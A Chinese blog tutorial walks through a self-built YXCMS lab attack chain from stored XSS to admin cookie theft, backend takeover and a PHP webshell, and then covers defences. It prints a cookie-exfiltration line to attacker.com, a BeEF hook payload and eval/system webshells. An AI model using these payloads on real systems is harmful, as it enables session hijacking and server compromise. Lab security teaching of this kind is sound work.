三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

从XSS弹窗到GetShell:存储型跨站脚本攻击实战与防御

从XSS弹窗到GetShell:存储型跨站脚本攻击实战与防御

1. 项目概述:从“弹窗”到“实战”的跨越

很多朋友在初学Web安全,特别是XSS(跨站脚本攻击)时,往往止步于在输入框里敲入一个<script>alert(1)</script>,看到浏览器弹出一个对话框,就心满意足地认为“我懂了”。这就像学开车只学会了按喇叭,离真正上路还差得远。弹窗只是XSS最基础、最无害的“症状”演示,它证明了漏洞的存在,但远未触及漏洞的“威力”与“危害”。真正的XSS攻击,其目标是窃取用户会话、钓鱼诈骗、键盘记录,甚至是以此为跳板,进一步获取服务器权限(即GetShell)。

今天,我们就来彻底告别这种“玩具级”的玩法。我将带你使用最经典的PHPStudy集成环境,快速搭建一个存在真实漏洞的YXCMS内容管理系统作为靶场。在这个靶场里,我们将复现一个完整的“存储型XSS -> 窃取管理员Cookie -> 登录后台 -> 写入WebShell -> 获取服务器权限”的攻击链。这个过程,就是XSS从“概念验证”到“武器化利用”的“进阶玩法”。通过亲手操作一遍,你不仅能深刻理解XSS的危害性,更能掌握一套在真实渗透测试或安全评估中可用的、连贯的攻击思路与工具链。

2. 环境准备与靶场搭建

2.1 工具与软件选型解析

工欲善其事,必先利其器。我们选择以下工具,是基于其稳定性、普及度和学习成本的综合考量:

  1. PHPStudy v8.1 (Windows环境):这是我们的“地基”。它集成了Apache/Nginx、PHP、MySQL、phpMyAdmin等,一键安装、一键启停,能让我们在几分钟内就拥有一个功能完整的Web服务器环境。选择它而不是单独配置,是为了将精力100%集中在漏洞原理和攻击手法上,避免在环境配置上消耗过多时间。注意:请从PHPStudy官网下载,避免使用来路不明的版本。
  2. YXCMS 1.4.7 (或存在漏洞的早期版本):这是我们本次演练的“主角”,一个基于PHP+MySQL的开源CMS。我们特意选择一个已知存在存储型XSS漏洞的旧版本(例如1.4.7),这符合安全研究的伦理——在可控的、自己搭建的环境里进行测试。你可以在一些开源漏洞平台或历史版本存档中找到它。
  3. Kali Linux (虚拟机或物理机):作为我们的“攻击机”。Kali内置了海量的安全工具,我们本次主要用到其中的BeEF(浏览器攻击框架)。你也可以在Windows上单独安装BeEF,但Kali环境更纯粹、更省心。
  4. Burp Suite Community (社区版):Web安全测试的“瑞士军刀”。我们将用它来拦截、修改HTTP请求,特别是后续的Cookie替换操作。
  5. 中国蚁剑 (AntSword):一款功能强大的WebShell管理工具。我们将用它来连接我们最终写入的WebShell,验证GetShell是否成功。

注意:所有操作请在你自己完全控制的虚拟机或物理机环境中进行。严禁对任何未经授权的线上系统进行测试,这是法律和道德的底线。

2.2 一步步搭建YXCMS靶场

假设你的PHPStudy安装在C:\phpStudy,WWW根目录是C:\phpStudy\WWW

  1. 启动PHPStudy服务: 打开PHPStudy,确保Apache和MySQL服务都显示为绿色“运行”状态。如果MySQL启动失败(常见错误如端口3306被占用),可以点击“其他选项菜单”->“PHPStudy设置”->“端口常规设置”,修改MySQL端口(例如改为3307),并重启服务。

  2. 部署YXCMS源码: 将下载的YXCMS压缩包解压,得到的文件夹(例如名为yxcms)复制到C:\phpStudy\WWW\目录下。此时,你应该能通过浏览器访问http://localhost/yxcms/看到YXCMS的安装引导页面。

  3. 安装与配置YXCMS: 访问http://localhost/yxcms/install/,按照页面提示进行安装。

    • 数据库配置:数据库地址填写localhost(如果MySQL端口改了,如3307,则填localhost:3307)。数据库名、用户名、密码根据你在PHPStudy中设置的MySQL信息填写(默认用户root,密码root)。建议新建一个数据库,如yxcms_test
    • 管理员账号:设置一个后台管理账号和密码,务必记牢,例如admin/admin123
    • 安装完成后,根据提示删除或重命名install目录,这是安全最佳实践。
  4. 验证环境: 访问http://localhost/yxcms/应能看到网站首页。访问http://localhost/yxcms/admin应能使用刚才设置的管理员账号登录后台。至此,一个存在漏洞的“活靶子”就立起来了。

3. 漏洞原理深度剖析:存储型XSS为何危险?

在动手之前,我们必须搞清楚,我们即将利用的到底是什么。XSS主要分为反射型、存储型和DOM型。我们本次聚焦的存储型XSS,是危害最大、利用起来最“持久”的一种。

核心原理:攻击者将恶意脚本代码(如JavaScript)提交到目标网站的服务器(例如,通过留言板、评论、用户资料等输入点)。网站后端程序在未对输入进行充分过滤和转义的情况下,就将这些数据存入数据库。之后,当其他用户(包括管理员)浏览包含这些恶意数据的页面时,恶意脚本就会在他们的浏览器中自动加载并执行。

与“弹窗alert”的本质区别

  • 弹窗:仅仅证明了“这里可以执行JS代码”。它是一次性的,仅对触发它的当前用户(通常是你自己)产生影响。
  • 进阶利用:恶意脚本可以做任何该网站域下JS能做的事情。例如:
    • document.cookie:窃取当前浏览者的会话Cookie。如果浏览者是管理员,攻击者就能用这个Cookie冒充管理员登录后台。
    • new Image().src='http://attacker.com/steal?data='+encodeURIComponent(document.cookie):将窃取的Cookie悄无声息地发送到攻击者控制的服务器。
    • 修改页面内容,进行钓鱼。
    • 发起进一步的AJAX请求,执行敏感操作。

在YXCMS的留言板功能中,正是由于对用户输入的留言内容没有进行严格的过滤和HTML实体转义,导致了存储型XSS漏洞。我们的攻击路径就是:作为“游客”在留言板插入恶意代码 -> 管理员在后台查看留言 -> 恶意代码在管理员浏览器执行 -> 窃取其Cookie -> 我们使用该Cookie登录后台。

4. 攻击链实战:从XSS到GetShell

现在,让我们扮演攻击者,完整走通这条攻击链。

4.1 第一阶段:投递“鱼钩”——植入恶意XSS载荷

仅仅弹窗的<script>alert(1)</script>已经不能满足我们了。我们需要一个能“钓”回信息的“鱼钩”。这里我们使用BeEF (The Browser Exploitation Framework)

  1. 启动BeEF: 在Kali Linux中,打开终端,输入命令sudo beef-xss启动。首次启动会提示设置密码,请设置一个强密码并牢记。启动成功后,终端会显示访问BeEF控制台的URL(通常是http://[kali_ip]:3000/ui/panel)和Hook URL(如<script src="http://[kali_ip]:3000/hook.js"></script>)。记下你的Kali IP地址(在Kali终端用ip a命令查看)。

  2. 构造并投递XSS载荷: 访问我们搭建的YXCMS前台页面,找到留言板功能(通常在“留言”或“反馈”模块)。在留言内容中,我们不再输入简单的弹窗代码,而是输入BeEF生成的Hook代码:

    <script src="http://[你的Kali_IP]:3000/hook.js"></script>

    例如:<script src="http://192.168.1.105:3000/hook.js"></script>。 提交这条留言。此时,恶意脚本已被存储到YXCMS的数据库中。

4.2 第二阶段:“鱼儿上钩”——诱捕管理员会话

现在,我们需要模拟“管理员查看留言”这个动作。

  1. 登录YXCMS后台: 打开一个新的浏览器窗口(或隐身窗口),访问http://localhost/yxcms/admin,使用管理员账号(如admin/admin123)登录。这是为了模拟一个拥有合法会话的管理员环境。

  2. 触发XSS: 在后台管理界面,找到“留言管理”或类似功能,点击进入查看留言列表。当你浏览到那条包含BeEF Hook的留言时,恶意脚本就会在你的管理员浏览器中执行。

  3. BeEF控制台捕获: 回到Kali,打开浏览器访问BeEF控制台(http://[kali_ip]:3000/ui/panel),使用启动时设置的用户名(默认beef)和密码登录。在控制台左侧的“Hooked Browsers”区域,你应该能看到一个新上线的浏览器,其IP地址是你的Windows主机IP。点击它,右侧会显示该浏览器的详细信息、可执行的命令模块等。实操心得:如果没看到浏览器上线,请依次检查:1) Kali和Windows主机网络是否互通(能否互相ping通);2) Windows防火墙是否拦截了3000端口的出站连接;3) 留言内容中的Hook URL IP地址是否正确。

  4. 窃取Cookie: 在BeEF控制台中,选中上线的浏览器,在“Commands”标签页中,找到“Browser” -> “Hook Domain”下的“Get Cookie”模块。点击“Execute”执行。执行成功后,在右下角的“Result”区域,你就能看到从管理员浏览器中窃取到的完整Cookie字符串。将其完整复制下来。

4.3 第三阶段:冒名顶替——Cookie劫持登录后台

现在我们有了管理员的Cookie,就可以在不输入账号密码的情况下,直接“变成”他。

  1. 配置Burp Suite拦截与替换

    • 打开Burp Suite,确保代理监听开启(默认127.0.0.1:8080)。
    • 配置你的浏览器(以Chrome为例,安装SwitchyOmega插件)将流量指向Burp代理。
    • 在Burp的Proxy -> Options选项卡下,找到Match and Replace规则设置。
    • 点击“Add”,添加一条新规则:
      • Type:Request header
      • Match:^Cookie:.*$(这是一个正则表达式,匹配以“Cookie:”开头的整个请求头行)
      • Replace:Cookie: [你刚刚从BeEF复制的完整Cookie字符串]
      • 勾选“Regex match”“Enabled”
    • 这条规则的作用是:所有经过Burp的HTTP请求,其Cookie头都会被替换成我们指定的管理员Cookie。
  2. 访问后台: 保持Burp拦截开启(Proxy -> Intercept 设置为 off,让流量自动通过但被修改),然后直接用浏览器访问YXCMS后台首页http://localhost/yxcms/admin/index.php关键验证:神奇的事情发生了!你没有输入任何账号密码,页面直接显示管理员后台的仪表盘,成功登录。这是因为服务器通过我们伪造的Cookie识别出了管理员身份。你可以随意浏览后台功能,确认权限完整。

4.4 第四阶段:直捣黄龙——写入WebShell并控制服务器

获取后台权限不是终点,我们的最终目标是服务器控制权。在CMS后台,通常有编辑网站模板的功能,这为我们写入WebShell提供了绝佳路径。

  1. 定位模板编辑功能: 在YXCMS后台,寻找类似“模板管理”、“风格设置”、“文件管理”的菜单。找到可以编辑网站前端PHP模板文件的地方。通常,首页对应的模板文件是index_index.phpindex.php

  2. 插入WebShell代码: 编辑index_index.php文件,在文件的最后、?>标签之前(如果存在),插入一行PHP一句话木马代码。为了隐蔽,可以稍作变形:

    <?php @eval($_POST['pass']);?>

    或者更隐蔽的:

    <?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

    保存模板。

  3. 使用中国蚁剑连接

    • 打开中国蚁剑,点击“添加数据”。
    • URL地址填写我们写入WebShell的页面:http://localhost/yxcms/index.php(因为首页会加载包含木马的模板)。
    • 连接密码填写我们POST的参数名,例如pass
    • 编码器、请求头等保持默认,点击“添加”。
    • 双击新添加的服务器,如果一切正常,你会成功连接到服务器文件系统,可以看到C:\phpStudy\WWW\yxcms\目录下的所有文件。
  4. 验证权限: 在蚁剑的虚拟终端中,尝试执行命令whoamiipconfig。如果成功返回系统信息和IP地址,则证明我们已经成功通过WebShell获取了服务器(以Web服务进程身份,如apachent authority\system)的执行权限,即完成了GetShell

5. 防御方案与深度思考

成功攻击之后,我们必须站在防御者的角度思考:如何防止这样的攻击链发生?

  1. 输入验证与过滤

    • 原则:不相信任何用户输入。对所有输入进行严格的“白名单”验证。
    • 实施:对于留言板内容,如果只允许纯文本,则应在后端接收时,使用HTML实体转义函数(如PHP的htmlspecialchars())进行处理,将<,>,&,",'等字符转换为&lt;,&gt;,&amp;,&quot;,&#x27;。这样,即使用户输入了脚本标签,在浏览器显示时也只是文本,而不会被执行。
    // 示例:在输出到页面前进行转义 $clean_content = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); echo $clean_content;
  2. 输出编码

    • 根据输出位置(HTML正文、HTML属性、JavaScript、CSS、URL)采用不同的编码规则。仅仅转义尖括号是不够的,在HTML属性里,还需要防止"'来闭合属性。
  3. 内容安全策略 (CSP)

    • CSP是一个重要的纵深防御措施。通过HTTP头Content-Security-Policy,告诉浏览器只允许执行来自特定来源的脚本,内联脚本(像我们这种直接写在HTML里的<script>)将被阻止执行。
    • 例如,一个严格的CSP头可以是:Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;这能有效遏制未经授权的脚本执行。
  4. HttpOnly Cookie

    • 在设置会话Cookie时,添加HttpOnly标志。这样,JavaScript(包括被注入的恶意JS)就无法通过document.cookie读取到此Cookie,从根本上切断了XSS窃取会话的路径。
    • 在PHP中设置:setcookie(‘session_id‘, $value, [‘httponly‘ => true]);
  5. 权限最小化与后台安全加固

    • 即使攻击者通过某种方式进入了后台,也应通过权限细分、操作审计、二次验证(如后台操作需验证密码)、限制模板编辑权限(如不允许编辑PHP文件,或对编辑内容进行安全扫描)等方式,增加其进一步GetShell的难度。

6. 常见问题与排查实录

在复现这个过程中,你可能会遇到以下问题,这里提供我的排查思路:

  1. PHPStudy中MySQL无法启动(错误1064或2003)

    • 问题:端口冲突是最常见原因。
    • 解决:打开PHPStudy,进入“其他选项菜单”->“PHPStudy设置”->“端口常规设置”,将MySQL端口从默认的3306改为3307、3308等,保存并重启服务。之后在安装YXCMS时,数据库地址记得加上端口,如localhost:3307
  2. BeEF Hook后浏览器不上线

    • 检查网络:确保Windows攻击机可以ping通Kali的IP。关闭Windows公用网络的防火墙(仅实验环境),或添加入站规则允许3000端口。
    • 检查载荷:确认留言中插入的<script>标签的src地址IP和端口完全正确。可以在Windows浏览器直接访问http://[kali_ip]:3000/hook.js,看是否能下载到JS文件。
    • 检查BeEF:确认BeEF服务正常运行,无报错。
  3. Burp替换Cookie后仍无法登录后台

    • 检查规则:确保Match and Replace规则已启用(Enabled打勾),且“Regex match”已勾选。匹配项^Cookie:.*$必须写对。
    • 检查Cookie值:从BeEF获取的Cookie是否完整?是否包含了会话名(如PHPSESSID)和值?直接复制整个结果框的内容。
    • 清除浏览器本地Cookie:在测试前,最好在用于模拟管理员的浏览器中,清除本地所有关于该站点的Cookie,避免干扰。
  4. 蚁剑连接WebShell失败

    • 检查WebShell代码:确认插入的PHP代码语法正确,且插入到了会被执行的文件(如首页模板)。
    • 检查URL:连接的URL是否是包含WebShell代码的页面地址。
    • 检查PHP设置:某些环境可能禁用了eval()等危险函数。可以尝试使用其他类型的WebShell代码,如assert()system()
    • 查看错误信息:打开Burp或浏览器开发者工具的网络面板,查看蚁剑连接时服务器的返回,是否有PHP报错信息。

通过这一整套从环境搭建、漏洞原理理解、武器化利用到最终防御的完整闭环实践,你对XSS的认识将不再停留在弹窗警告。你会明白,一个看似微小的输入点漏洞,在攻击链的加持下,足以成为摧毁整个系统安全的突破口。这才是Web安全学习的正确姿势——在安全的靶场里,进行贴近真实的“实战演练”。

← 返回列表